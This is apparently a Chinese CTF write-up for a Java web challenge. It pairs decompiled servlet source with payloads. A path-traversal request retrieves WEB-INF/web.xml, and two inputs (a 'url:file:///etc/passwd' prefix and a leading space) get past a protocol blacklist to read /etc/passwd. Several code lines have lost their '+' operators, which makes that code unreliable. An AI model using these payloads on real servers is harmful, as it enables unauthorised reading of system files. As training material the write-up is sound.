本文最后更新于 535 天前,其中的信息可能已经有所发展或是发生改变。
解题思路
这题是存在着任意文件下载漏洞,下载完源码之后审计发现可以通过伪协议读取文件
代码语言:javascript复制../../../../../../../../../WEB-INF/web.xml
如果不明白web.xml是干嘛的可以百度一下,在java工程中,web.xml用来初始化工程配置信息,比如说welcome页面,filter,listener,servlet,servlet-mapping,启动加载级别等等。
所以说通过web.xml文件查看整个项目工程所有的类,确定了类名可以通过任意文件下载漏洞下载项目中的class文件,但是通过项目中的java文件都是被编译过变为class文件需要反编译才能拿到真正的源码。
代码语言:javascript复制class在线反编译: http://javare.cn/
反编译过后就到了代码审计环节
源码解析
testURL.java
代码语言:javascript复制package com.test2.aaa1;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class testURL extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String tartget_url = req.getParameter("url"); // post接收传入的url
String pri = tartget_url.substring(0, tartget_url.indexOf(":")); // 截取从开始第一个字符到第一个:出现位置的字符
if(pri.matches("(?i)file|(?i)gopher|(?i)data")) { // 过滤了file、gopher、data协议
// 如果截取到了被过滤了的三个协议就会返回false
resp.getWriter().write(String.valueOf((new StringBuilder()).append("false")));
} else {
// 没截取到的话就调用getContent函数读取内容
resp.getWriter().write(String.valueOf(this.getContent(tartget_url)));
}
}
public StringBuilder getContent(String url) throws IOException {
// 创建URL对象,可以对传入的伪协议进行响应
URL urL = new URL(url);
URLConnection con = urL.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
StringBuilder content = new StringBuilder();
String inputLine;
while((inputLine = in.readLine()) != null) {
content.append(inputLine);
content.append("n");
}
return content;
}
}
download.java
这个类就是下载文件的接口,这玩意没什么好看的,过滤了flag让你没法直接读取。
代码语言:javascript复制package com.test2.aaa1;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.URLEncoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class download extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String fileName = request.getParameter("filename");
if(fileName.contains("environ")) {
response.getWriter().write("false");
} else {
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" fileName);
if(fileName != null && fileName.toLowerCase().contains("flag")) {
request.setAttribute("message", "no no no ");
request.getRequestDispatcher("/message2.jsp").forward(request, response);
} else {
String fileSaveRootPath = this.getServletContext().getRealPath("/WEB-INF/upload");
String path = this.findFileSavePathByFileName(fileName, fileSaveRootPath);
File file = new File(path "/" fileName);
if(!file.exists()) {
request.setAttribute("message", "error");
request.getRequestDispatcher("/message2.jsp").forward(request, response);
} else {
String realname = fileName.substring(fileName.indexOf("_") 1);
response.setHeader("content-disposition", "attachment;filename=" URLEncoder.encode(realname, "UTF-8"));
FileInputStream in = new FileInputStream(path "/" fileName);
ServletOutputStream out = response.getOutputStream();
byte[] buffer = new byte[1024];
boolean var11 = false;
int len;
while((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}
in.close();
out.close();
}
}
}
}
public String findFileSavePathByFileName(String filename, String saveRootPath) {
int hashCode = filename.hashCode();
int dir1 = hashCode & 15;
int dir2 = (hashCode & 240) >> 4;
String dir = saveRootPath "/" dir1 "/" dir2;
File file = new File(dir);
if(!file.exists()) {
file.mkdirs();
}
return dir;
}
}
绕过方法
绕过截取有两种方法
代码语言:javascript复制/testURL?url=url:file:///etc/passwd
/testURL?url= file:///etc/passwd // 空格绕过
file:///协议如果读取是目录就会列出下面所有的路径与文件,如果是文件的话就会读取文件
浏览量: 184